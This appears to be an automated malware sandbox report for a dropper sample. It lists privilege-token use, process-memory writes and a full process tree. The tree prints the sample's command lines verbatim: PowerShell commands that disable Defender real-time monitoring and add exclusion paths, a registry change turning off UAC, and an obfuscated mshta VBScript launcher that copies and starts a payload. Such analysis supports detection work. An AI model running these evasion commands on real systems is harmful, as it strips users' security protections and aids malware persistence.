5900	MPBInnvNQNGFqEA27CwasfoV.exe
5524	cIBnQSYr2J_KMW2RvwjriDqG.exe
5900	MPBInnvNQNGFqEA27CwasfoV.exe
5900	MPBInnvNQNGFqEA27CwasfoV.exe
5524	cIBnQSYr2J_KMW2RvwjriDqG.exe
5524	cIBnQSYr2J_KMW2RvwjriDqG.exe
5668	schtasks.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4016	powershell.exe
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	3244	Tue20abd30733a17.exe
Token: SeCreateTokenPrivilege	4408	Tue2095db5b6bd7.exe
Token: SeAssignPrimaryTokenPrivilege	4408	Tue2095db5b6bd7.exe
Token: SeLockMemoryPrivilege	4408	Tue2095db5b6bd7.exe
Token: SeIncreaseQuotaPrivilege	4408	Tue2095db5b6bd7.exe
Token: SeMachineAccountPrivilege	4408	Tue2095db5b6bd7.exe
Token: SeTcbPrivilege	4408	Tue2095db5b6bd7.exe
Token: SeSecurityPrivilege	4408	Tue2095db5b6bd7.exe
Token: SeTakeOwnershipPrivilege	4408	Tue2095db5b6bd7.exe
Token: SeLoadDriverPrivilege	4408	Tue2095db5b6bd7.exe
Token: SeSystemProfilePrivilege	4408	Tue2095db5b6bd7.exe
Token: SeSystemtimePrivilege	4408	Tue2095db5b6bd7.exe
Token: SeProfSingleProcessPrivilege	4408	Tue2095db5b6bd7.exe
Token: SeIncBasePriorityPrivilege	4408	Tue2095db5b6bd7.exe
Token: SeCreatePagefilePrivilege	4408	Tue2095db5b6bd7.exe
Token: SeCreatePermanentPrivilege	4408	Tue2095db5b6bd7.exe
Token: SeBackupPrivilege	4408	Tue2095db5b6bd7.exe
Token: SeRestorePrivilege	4408	Tue2095db5b6bd7.exe
Token: SeShutdownPrivilege	4408	Tue2095db5b6bd7.exe
Token: SeDebugPrivilege	4408	Tue2095db5b6bd7.exe
Token: SeAuditPrivilege	4408	Tue2095db5b6bd7.exe
Token: SeSystemEnvironmentPrivilege	4408	Tue2095db5b6bd7.exe
Token: SeChangeNotifyPrivilege	4408	Tue2095db5b6bd7.exe
Token: SeRemoteShutdownPrivilege	4408	Tue2095db5b6bd7.exe
Token: SeUndockPrivilege	4408	Tue2095db5b6bd7.exe
Token: SeSyncAgentPrivilege	4408	Tue2095db5b6bd7.exe
Token: SeEnableDelegationPrivilege	4408	Tue2095db5b6bd7.exe
Token: SeManageVolumePrivilege	4408	Tue2095db5b6bd7.exe
Token: SeImpersonatePrivilege	4408	Tue2095db5b6bd7.exe
Token: SeCreateGlobalPrivilege	4408	Tue2095db5b6bd7.exe
Token: 31	4408	Tue2095db5b6bd7.exe
Token: 32	4408	Tue2095db5b6bd7.exe
Token: 33	4408	Tue2095db5b6bd7.exe
Token: 34	4408	Tue2095db5b6bd7.exe
Token: 35	4408	Tue2095db5b6bd7.exe
Token: SeDebugPrivilege	4272	Tue203dd57461.exe
Token: SeRestorePrivilege	4728	WerFault.exe
Token: SeBackupPrivilege	4728	WerFault.exe
Token: SeBackupPrivilege	4728	WerFault.exe
Token: SeDebugPrivilege	5792	taskkill.exe
Token: SeDebugPrivilege	5588	673526.exe
Token: SeDebugPrivilege	5336	taskkill.exe
Token: SeDebugPrivilege	920	6851633.exe
Token: SeCreateTokenPrivilege	3520	C5JAfF7UJTpSvJAEcJC3LmGw.exe
Token: SeAssignPrimaryTokenPrivilege	3520	C5JAfF7UJTpSvJAEcJC3LmGw.exe
Token: SeLockMemoryPrivilege	3520	C5JAfF7UJTpSvJAEcJC3LmGw.exe
Token: SeIncreaseQuotaPrivilege	3520	C5JAfF7UJTpSvJAEcJC3LmGw.exe
Token: SeMachineAccountPrivilege	3520	C5JAfF7UJTpSvJAEcJC3LmGw.exe
Token: SeTcbPrivilege	3520	C5JAfF7UJTpSvJAEcJC3LmGw.exe
Token: SeSecurityPrivilege	3520	C5JAfF7UJTpSvJAEcJC3LmGw.exe
Token: SeTakeOwnershipPrivilege	3520	C5JAfF7UJTpSvJAEcJC3LmGw.exe
Token: SeLoadDriverPrivilege	3520	C5JAfF7UJTpSvJAEcJC3LmGw.exe
Token: SeSystemProfilePrivilege	3520	C5JAfF7UJTpSvJAEcJC3LmGw.exe
Token: SeSystemtimePrivilege	3520	C5JAfF7UJTpSvJAEcJC3LmGw.exe
Token: SeProfSingleProcessPrivilege	3520	C5JAfF7UJTpSvJAEcJC3LmGw.exe
Token: SeIncBasePriorityPrivilege	3520	C5JAfF7UJTpSvJAEcJC3LmGw.exe
Token: SeCreatePagefilePrivilege	3520	C5JAfF7UJTpSvJAEcJC3LmGw.exe
Token: SeCreatePermanentPrivilege	3520	C5JAfF7UJTpSvJAEcJC3LmGw.exe
Token: SeBackupPrivilege	3520	C5JAfF7UJTpSvJAEcJC3LmGw.exe
Token: SeRestorePrivilege	3520	C5JAfF7UJTpSvJAEcJC3LmGw.exe
Token: SeShutdownPrivilege	3520	C5JAfF7UJTpSvJAEcJC3LmGw.exe
Token: SeDebugPrivilege	3520	C5JAfF7UJTpSvJAEcJC3LmGw.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2236	setup.tmp

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1708 wrote to memory of 2916	1708	a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe	88
PID 1708 wrote to memory of 2916	1708	a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe	88
PID 1708 wrote to memory of 2916	1708	a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe	88
PID 2916 wrote to memory of 2244	2916	setup_installer.exe	89
PID 2916 wrote to memory of 2244	2916	setup_installer.exe	89
PID 2916 wrote to memory of 2244	2916	setup_installer.exe	89
PID 2244 wrote to memory of 3568	2244	setup_install.exe	91
PID 2244 wrote to memory of 3568	2244	setup_install.exe	91
PID 2244 wrote to memory of 3568	2244	setup_install.exe	91
PID 2244 wrote to memory of 4988	2244	setup_install.exe	92
PID 2244 wrote to memory of 4988	2244	setup_install.exe	92
PID 2244 wrote to memory of 4988	2244	setup_install.exe	92
PID 4988 wrote to memory of 2860	4988	cmd.exe	93
PID 4988 wrote to memory of 2860	4988	cmd.exe	93
PID 4988 wrote to memory of 2860	4988	cmd.exe	93
PID 3568 wrote to memory of 4016	3568	cmd.exe	94
PID 3568 wrote to memory of 4016	3568	cmd.exe	94
PID 3568 wrote to memory of 4016	3568	cmd.exe	94
PID 2244 wrote to memory of 3176	2244	setup_install.exe	95
PID 2244 wrote to memory of 3176	2244	setup_install.exe	95
PID 2244 wrote to memory of 3176	2244	setup_install.exe	95
PID 2244 wrote to memory of 3320	2244	setup_install.exe	96
PID 2244 wrote to memory of 3320	2244	setup_install.exe	96
PID 2244 wrote to memory of 3320	2244	setup_install.exe	96
PID 2244 wrote to memory of 3688	2244	setup_install.exe	97
PID 2244 wrote to memory of 3688	2244	setup_install.exe	97
PID 2244 wrote to memory of 3688	2244	setup_install.exe	97
PID 2244 wrote to memory of 3140	2244	setup_install.exe	101
PID 2244 wrote to memory of 3140	2244	setup_install.exe	101
PID 2244 wrote to memory of 3140	2244	setup_install.exe	101
PID 2244 wrote to memory of 4500	2244	setup_install.exe	100
PID 2244 wrote to memory of 4500	2244	setup_install.exe	100
PID 2244 wrote to memory of 4500	2244	setup_install.exe	100
PID 3320 wrote to memory of 4980	3320	cmd.exe	99
PID 3320 wrote to memory of 4980	3320	cmd.exe	99
PID 3320 wrote to memory of 4980	3320	cmd.exe	99
PID 2244 wrote to memory of 4772	2244	setup_install.exe	98
PID 2244 wrote to memory of 4772	2244	setup_install.exe	98
PID 2244 wrote to memory of 4772	2244	setup_install.exe	98
PID 2244 wrote to memory of 1804	2244	setup_install.exe	130
PID 2244 wrote to memory of 1804	2244	setup_install.exe	130
PID 2244 wrote to memory of 1804	2244	setup_install.exe	130
PID 3176 wrote to memory of 2524	3176	cmd.exe	129
PID 3176 wrote to memory of 2524	3176	cmd.exe	129
PID 3176 wrote to memory of 2524	3176	cmd.exe	129
PID 2244 wrote to memory of 4600	2244	setup_install.exe	102
PID 2244 wrote to memory of 4600	2244	setup_install.exe	102
PID 2244 wrote to memory of 4600	2244	setup_install.exe	102
PID 2244 wrote to memory of 3024	2244	setup_install.exe	128
PID 2244 wrote to memory of 3024	2244	setup_install.exe	128
PID 2244 wrote to memory of 3024	2244	setup_install.exe	128
PID 2244 wrote to memory of 2508	2244	setup_install.exe	127
PID 2244 wrote to memory of 2508	2244	setup_install.exe	127
PID 2244 wrote to memory of 2508	2244	setup_install.exe	127
PID 4980 wrote to memory of 4120	4980	Tue201d50e7015.exe	126
PID 4980 wrote to memory of 4120	4980	Tue201d50e7015.exe	126
PID 4980 wrote to memory of 4120	4980	Tue201d50e7015.exe	126
PID 2244 wrote to memory of 3756	2244	setup_install.exe	103
PID 2244 wrote to memory of 3756	2244	setup_install.exe	103
PID 2244 wrote to memory of 3756	2244	setup_install.exe	103
PID 4500 wrote to memory of 2932	4500	cmd.exe	125
PID 4500 wrote to memory of 2932	4500	cmd.exe	125
PID 4500 wrote to memory of 2932	4500	cmd.exe	125
PID 2244 wrote to memory of 1260	2244	setup_install.exe	104

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Calculator.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	hepatocyte.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3208
- C:\Users\Admin\AppData\Local\Temp\a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
  "C:\Users\Admin\AppData\Local\Temp\a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1708
- - C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2916
  - - C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\setup_install.exe
      "C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\setup_install.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:2244
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3568
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4016
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4988
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2860
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue200ab8d408d.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3176
      - C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue200ab8d408d.exe
        
        Tue200ab8d408d.exe
        6⤵
        Executes dropped EXE
        
        PID:2524
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2524 -s 300
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5192
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue201d50e7015.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3320
      - C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue201d50e7015.exe
        
        Tue201d50e7015.exe
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4980
        
        C:\Users\Admin\AppData\Local\Temp\is-SNTEN.tmp\Tue201d50e7015.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-SNTEN.tmp\Tue201d50e7015.tmp" /SL5="$300BC,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue201d50e7015.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4120
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue2082eedf21.exe /mixone
        5⤵
        
        PID:3688
      - C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue2082eedf21.exe
        
        Tue2082eedf21.exe /mixone
        6⤵
        Executes dropped EXE
        
        PID:1940
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1940 -s 296
        7⤵
        Executes dropped EXE
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5908
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue20ea834764a6.exe
        5⤵
        
        PID:4772
      - C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue20ea834764a6.exe
        
        Tue20ea834764a6.exe
        6⤵
        Executes dropped EXE
        
        PID:1384
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue20adee3c26d.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4500
      - C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue20adee3c26d.exe
        
        Tue20adee3c26d.exe
        6⤵
        Executes dropped EXE
        
        PID:2932
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue207c76c7f37.exe
        5⤵
        
        PID:3140
      - C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue207c76c7f37.exe
        
        Tue207c76c7f37.exe
        6⤵
        Executes dropped EXE
        
        PID:2068
        
        C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue207c76c7f37.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue207c76c7f37.exe
        7⤵
        Executes dropped EXE
        
        PID:5160
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue2076b72c2666aa9c.exe
        5⤵
        
        PID:4600
      - C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue2076b72c2666aa9c.exe
        
        Tue2076b72c2666aa9c.exe
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:4240
        
        C:\Users\Admin\Pictures\Adobe Films\z2Y3c6N5PWpFjUwyxXz9wGwG.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\z2Y3c6N5PWpFjUwyxXz9wGwG.exe"
        7⤵
        Executes dropped EXE
        
        PID:5468
        
        C:\Users\Admin\Pictures\Adobe Films\eengN0SAkx51YZnmVlMESXRk.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\eengN0SAkx51YZnmVlMESXRk.exe"
        7⤵
        
        PID:3680
        
        C:\Users\Admin\AppData\Local\Temp\72e11774-ae75-4d77-b21c-44154f9920db\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\72e11774-ae75-4d77-b21c-44154f9920db\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\72e11774-ae75-4d77-b21c-44154f9920db\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
        8⤵
        
        PID:5840
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\72e11774-ae75-4d77-b21c-44154f9920db\test.bat"
        9⤵
        
        PID:5484
        
        C:\Users\Admin\AppData\Local\Temp\1ffb6e98-f177-43b7-a8cc-a647830619ec\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1ffb6e98-f177-43b7-a8cc-a647830619ec\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\1ffb6e98-f177-43b7-a8cc-a647830619ec\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
        8⤵
        
        PID:6004
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1ffb6e98-f177-43b7-a8cc-a647830619ec\test.bat"
        9⤵
        
        PID:1260
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\eengN0SAkx51YZnmVlMESXRk.exe" -Force
        8⤵
        
        PID:4244
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\eengN0SAkx51YZnmVlMESXRk.exe" -Force
        8⤵
        
        PID:5640
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\eengN0SAkx51YZnmVlMESXRk.exe" -Force
        8⤵
        
        PID:3120
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
        8⤵
        Executes dropped EXE
        
        PID:5744
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
        8⤵
        
        PID:5204
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\eengN0SAkx51YZnmVlMESXRk.exe" -Force
        8⤵
        
        PID:5140
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:5484
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe"
        8⤵
        Executes dropped EXE
        Adds Run key to start application
        Checks whether UAC is enabled
        Suspicious use of SetThreadContext
        System policy modification
        
        PID:1224
        
        C:\Users\Admin\AppData\Local\Temp\b81e5174-472c-489e-8683-5edcaef447e7\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\b81e5174-472c-489e-8683-5edcaef447e7\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\b81e5174-472c-489e-8683-5edcaef447e7\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
        9⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5128
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\b81e5174-472c-489e-8683-5edcaef447e7\test.bat"
        10⤵
        
        PID:6516
        
        C:\Users\Admin\AppData\Local\Temp\7ac977de-d992-47d3-a006-f3497bc2b882\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7ac977de-d992-47d3-a006-f3497bc2b882\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\7ac977de-d992-47d3-a006-f3497bc2b882\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
        9⤵
        
        PID:3812
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
        9⤵
        Executes dropped EXE
        
        PID:5408
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
        9⤵
        
        PID:3320
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
        9⤵
        
        PID:2620
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
        9⤵
        
        PID:2124
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
        9⤵
        
        PID:6372
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
        9⤵
        
        PID:4660
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
        9⤵
        
        PID:7492
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
        8⤵
        
        PID:4756
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\eengN0SAkx51YZnmVlMESXRk.exe" -Force
        8⤵
        
        PID:5400
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
        8⤵
        
        PID:5272
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe"
        8⤵
        
        PID:6996
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe"
        8⤵
        
        PID:3896
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe"
        8⤵
        
        PID:3004
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe"
        8⤵
        
        PID:2272
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        8⤵
        
        PID:1104
        
        C:\Users\Admin\Pictures\Adobe Films\Y873uOZes7Fq7HMdEY4n6hzp.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Y873uOZes7Fq7HMdEY4n6hzp.exe"
        7⤵
        
        PID:5408
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5408 -s 276
        8⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:4656
        
        C:\Users\Admin\Pictures\Adobe Films\ik6m9v5HHExL22XFPRPOuoRd.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\ik6m9v5HHExL22XFPRPOuoRd.exe"
        7⤵
        Executes dropped EXE
        
        PID:3964
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3964 -s 280
        8⤵
        Program crash
        
        PID:2984
        
        C:\Users\Admin\Pictures\Adobe Films\7pJPI8ygnI1NKfWVZzPmaLn2.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\7pJPI8ygnI1NKfWVZzPmaLn2.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2632
        
        C:\Users\Admin\Pictures\Adobe Films\7pJPI8ygnI1NKfWVZzPmaLn2.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\7pJPI8ygnI1NKfWVZzPmaLn2.exe"
        8⤵
        Executes dropped EXE
        
        PID:4064
        
        C:\Users\Admin\Pictures\Adobe Films\7pJPI8ygnI1NKfWVZzPmaLn2.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\7pJPI8ygnI1NKfWVZzPmaLn2.exe"
        8⤵
        
        PID:5908
        
        C:\Users\Admin\Pictures\Adobe Films\7pJPI8ygnI1NKfWVZzPmaLn2.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\7pJPI8ygnI1NKfWVZzPmaLn2.exe"
        8⤵
        Executes dropped EXE
        
        PID:3272
        
        C:\Users\Admin\Pictures\Adobe Films\C5JAfF7UJTpSvJAEcJC3LmGw.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\C5JAfF7UJTpSvJAEcJC3LmGw.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3520
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3520 -s 1728
        8⤵
        Program crash
        
        PID:5808
        
        C:\Users\Admin\Pictures\Adobe Films\CS3pL7gf19AXPjEmH13CFPhd.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\CS3pL7gf19AXPjEmH13CFPhd.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3532
        
        C:\Users\Admin\Pictures\Adobe Films\CS3pL7gf19AXPjEmH13CFPhd.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\CS3pL7gf19AXPjEmH13CFPhd.exe"
        8⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: MapViewOfSection
        
        PID:5340
        
        C:\Users\Admin\Pictures\Adobe Films\oIdIElIZD0pJq3WUsXNnYy4h.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\oIdIElIZD0pJq3WUsXNnYy4h.exe"
        7⤵
        Executes dropped EXE
        
        PID:5060
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\oIdIElIZD0pJq3WUsXNnYy4h.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\oIdIElIZD0pJq3WUsXNnYy4h.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
        8⤵
        
        PID:5652
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\oIdIElIZD0pJq3WUsXNnYy4h.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\oIdIElIZD0pJq3WUsXNnYy4h.exe" ) do taskkill -im "%~NxK" -F
        9⤵
        
        PID:4756
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -im "oIdIElIZD0pJq3WUsXNnYy4h.exe" -F
        10⤵
        Kills process with taskkill
        
        PID:5324
        
        C:\Users\Admin\AppData\Local\Temp\8pWB.eXE
        
        8pWB.eXe /pO_wtib1KE0hzl7U9_CYP
        10⤵
